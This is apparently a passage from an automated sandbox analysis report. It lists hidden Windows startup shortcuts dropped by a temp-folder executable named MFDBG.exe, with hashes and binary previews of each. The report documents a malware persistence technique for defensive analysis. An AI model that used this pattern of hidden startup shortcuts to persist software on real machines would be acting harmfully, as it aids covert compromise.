Preview:	L..................F...."...]W%.{... ..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_546f5a2e0f704befbf2f295fcd0fd46a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93580839699998
Encrypted:	false
SSDEEP:	24:8YhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86G0R6rMhpBoUBxdRd1nYyg
MD5:	F587951A99C3E436F9E75A9D3C7FD8E9
SHA1:	ACAA5E9B0A2FCF7F0D2573C536F611AE252FFB99
SHA-256:	E1075E0753E92D3E0EAD49E2C308ED104AAFB31C5A872A51365278A7B42B8A68
SHA-512:	533F0E9855D7903F2C6BB7555E28C3A623685D7C7EEE3CB14121104B4AA169F13F73C4CE9424450AE01D7B972B7E36F3E97CED4B698E1CC5BA72C7B5AD1F6216
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5485e16de1204364bb5c58cbe24f270e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941722542592166
Encrypted:	false
SSDEEP:	24:84OhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8h+0R6rMhpBoUBxdRd1nYyg
MD5:	FA424137B4CFA14BD5103E33FD49177B
SHA1:	480767E810D05D5DC1FA2B79974F083982B77891
SHA-256:	373589AA79B6DD700B603543EF4915F6A29122F738D5738E475370C3A56EED06
SHA-512:	8200C3F41614D509FC3AF39EB10BE3024E6796B089443B7AE446B4F18FAD8AB4F8282CF8C1E745E815C97575CA05125BDA9374E2F69149EE97DF06A7806678CB
Malicious:	false
Preview:	L..................F...."...]W%.{...>sy.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54901bec9e3141d1b896eda7ab8a1015.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152354
Encrypted:	false
SSDEEP:	24:8/chBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WF0R6rMhpBoUBxdRd1nYyg
MD5:	517FEFC76D1A3E9658D73008074CA271
SHA1:	BBE8A808C6793F4C3A6653E1B321308B6A2DE79C
SHA-256:	7CDAAA5E8F39E658EB141444344689F117E9D62CA46D2745756C8D802D44C8BB
SHA-512:	40CE505F3D9A80F2A1E92B16900A956E0937BC156BC9C8D704E5800B079F77DED3BEF92F17F4CED1B8EC994297A6C32EEB76A363632DD2D47EF1DB46C92C16D9
Malicious:	false
Preview:	L..................F...."...]W%.{.....].\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54c1e8e0824e404e9bd56018c6cab311.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930663432985652
Encrypted:	false
SSDEEP:	24:8vhBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zU0R6rMhpBoUBxdRd1nYyg
MD5:	33452E64224296E7D3AC29BE84DA4265
SHA1:	739F3E4E2826C2BEBED9786CA9F34FF498DED742
SHA-256:	0E7EF137D1126A6E8E8E8176E12490095154ABBC34269B1A515B5D54A5E3053C
SHA-512:	CC034E66D3FDB3E54735484FA5AB5B4795A5EA0013DD8F795F9D65401F6B206D41A322A27D7FD7D348FFECE7EF9829CB1C0A690B2FA969C43D5A711BAB3BA8CD
Malicious:	false
Preview:	L..................F...."...]W%.{....xW.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55bb0b6241f144038e619559450cc027.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934075576869216
Encrypted:	false
SSDEEP:	24:85hBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Zlc0R6rMhpBoUBxdRd1nYyg
MD5:	FCB8EDE620F0DD37E474A0EBBDC4C808
SHA1:	FA80FEC404C92A5998F1DDB0850FFDCF1E0A9492
SHA-256:	D8EF7EFF3E6783A9572DDE7626A2CE297E2094EF1650CCE95398516EBAED5072
SHA-512:	4C860269C4673B4B6872652FF1BD1A6B5C037A4FEDA354ECA433EA445BC80E553D0D61C499B278F10E1D86C96C567B7DE4F643EEB4F94D024CC50B81C7E3605E
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55c4cfba041f4b8d95f34e93e1723d35.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934750666114332
Encrypted:	false
SSDEEP:	24:8kfphBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8cpR0R6rMhpBoUBxdRd1nYyg
MD5:	2DCD518F2C18635E482F05DC5046D279
SHA1:	C03A9D396109ED1633CA78C00F9100CA01B163AE
SHA-256:	D7695F4F21D19C4BD5ACFF86D97201E813C3BC35A1260C4E5A6E415DEBCCA034
SHA-512:	815009B9A9DFBA21A674F2CA63DABB0DECE8BA94AA0F0905088571761AADC99459A935BC3CB6C11C87C505E28397D0EB89CD501E4A6B20EB3E5009C9576C751C
Malicious:	false
Preview:	L..................F...."...]W%.{...Y...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55cc3d75b6084adfb0690a70399599b3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9404296414914635
Encrypted:	false
SSDEEP:	24:8zhBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8HuIT0R6rMhpBoUBxdRd1nYyg
MD5:	F7B80D97F9358DB06B00D00E1CE63186
SHA1:	69B8B5F3AE506D896C94DD23406044C18DDB057D
SHA-256:	F7D745DC5AE4A8B71431B7FA8F14147DE86B68C49D83CACE218A781500322A1B
SHA-512:	7C3EAABD58F7F87F22CA6E211A6710421780582B8A3B366CB5924B75A8AE1CEDE5716C005AC87543171A2103609F33A007D65A95B4D710DF981E722993EE60ED
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_560490dd09a84c43aa48b60a3abafb4c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934813476650444
Encrypted:	false
SSDEEP:	24:80hBfl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8260R6rMhpBoUBxdRd1nYyg
MD5:	049A893EBB88E8E4AEB1C5B6D687F59C
SHA1:	FDFAB55B54E34C2E9584A79BD0B4F99595885DDA
SHA-256:	A1A7B48C47C7F4C976495B1F0104074E5D438A1F47D6932A7C38339CBB3A0BF2
SHA-512:	FA25B05423D7BE1081670635C583296C3473C0AB0BADD1DB698B96C564A88FB79B177CBC267A682FF829E21286F6D29CDC50A3027D5919E2CD2AAB721F89F746
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56a958991a984bb0a2b9adf2a4645b4a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936956102473914
Encrypted:	false
SSDEEP:	24:89GhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89MC0R6rMhpBoUBxdRd1nYyg
MD5:	E1B01BD646984B9BC803907095CAEA72
SHA1:	B7C2E1D61C58D4307583902824BC07F9519245B2
SHA-256:	8C696E0E68DE81F2DBF53E27F5F09CE714E9FAF91AF27AF70A26285D13274C76
SHA-512:	C6ABAC2236C3DA02D5B4FEDDC2EE1B3E801E7A013B0433AFD422F9563E726ECA54AB8C3CCBD6F075BBB28ED70FA6A214FB9CC251CBEF0D5D81DB6590A5DF7C78
Malicious:	false
Preview:	L..................F...."...]W%.{...5...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57dc48fa00534487b1f373574d86863c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94222105043559
Encrypted:	false
SSDEEP:	24:8NhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8th0R6rMhpBoUBxdRd1nYyg
MD5:	4D9694FECBCC726756A29667616D9E51
SHA1:	E565D85EB15E4EFF278A5EF6AE7B4479A0ED4B98
SHA-256:	15AA52991C5A7C7A3683E79F519D7C0466F50D1E60D294457D1C51BC6A4CF39C
SHA-512:	225C6900C553B518AEDA294D8FEA936EE82403FDF152DF0C5365D8CED5C3BA439E63A744FAFED2E517A07DDEB1322C9EF1316718A2970C6CD95D813FC278D8B0
Malicious:	false
Preview:	L..................F...."...]W%.{...h...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58641e854ec446bba61e441f137f90e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940185389872865
Encrypted:	false
SSDEEP:	24:87hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/C0R6rMhpBoUBxdRd1nYyg
MD5:	1AAEC86CCB14D674F22FC46619895B81
SHA1:	E5180228DCDD3C548ECA87CDA7F0F64706B6ECAF
SHA-256:	B217E49172416E890E2CC99E322A2D0B0A6A1A5C031FCD84D82732AA29E1E667
SHA-512:	37E0C4E9643B633B8C558ECBA1C904C05B5E01CD2EEF26726D17B9B38D91D89F3285D1AD1D38121E817E974722EC1C8BACCB85E767C48DE54F205445D53CE38A
Malicious:	false
Preview:	L..................F...."...]W%.{.....D.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58853713aeba4822bb2da71f7ba64889.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9424760591096435
Encrypted:	false
SSDEEP:	24:8chBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8up0R6rMhpBoUBxdRd1nYyg
MD5:	1B0F6315A05DC1B376DB31AD452E2EF6
SHA1:	3CE1E5852B1414757C88E4755BF961D2F381D3DC
SHA-256:	01C0465D1BC9C3EFE6C0672F3D481A753E98E86E4FBF045A3270CAA431FFD70A
SHA-512:	50892641B6F04E90FBFA56223CF662672B30AF6D0DF5EFA67921408F186C9F281CFA2315260CC96C142AB861C89703FE269CB415947D339BF0578F418216C156
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58f1d4805098494e9f52fb2ff6430c09.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938375651337266
Encrypted:	false
SSDEEP:	24:8KhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8glc0R6rMhpBoUBxdRd1nYyg
MD5:	6DE5D1D682AA27AB2C54494B7BECF624
SHA1:	B7C28443B8E6D8EAA14483B4E5106DC5351A3E7A
SHA-256:	1DB94A309744961C494BE1C673886FC8FB9425CCB25F2F36BC9F128A146F9B6C
SHA-512:	F2AA026E5386387D160FF8D4EDE5C2146D5E2886309A8BEDEA1ED55E4C6E153262260DFFC31D5575F4A7106A2326D1DBA005DF74A5E156DCD751761F5F89FCFB
Malicious:	false
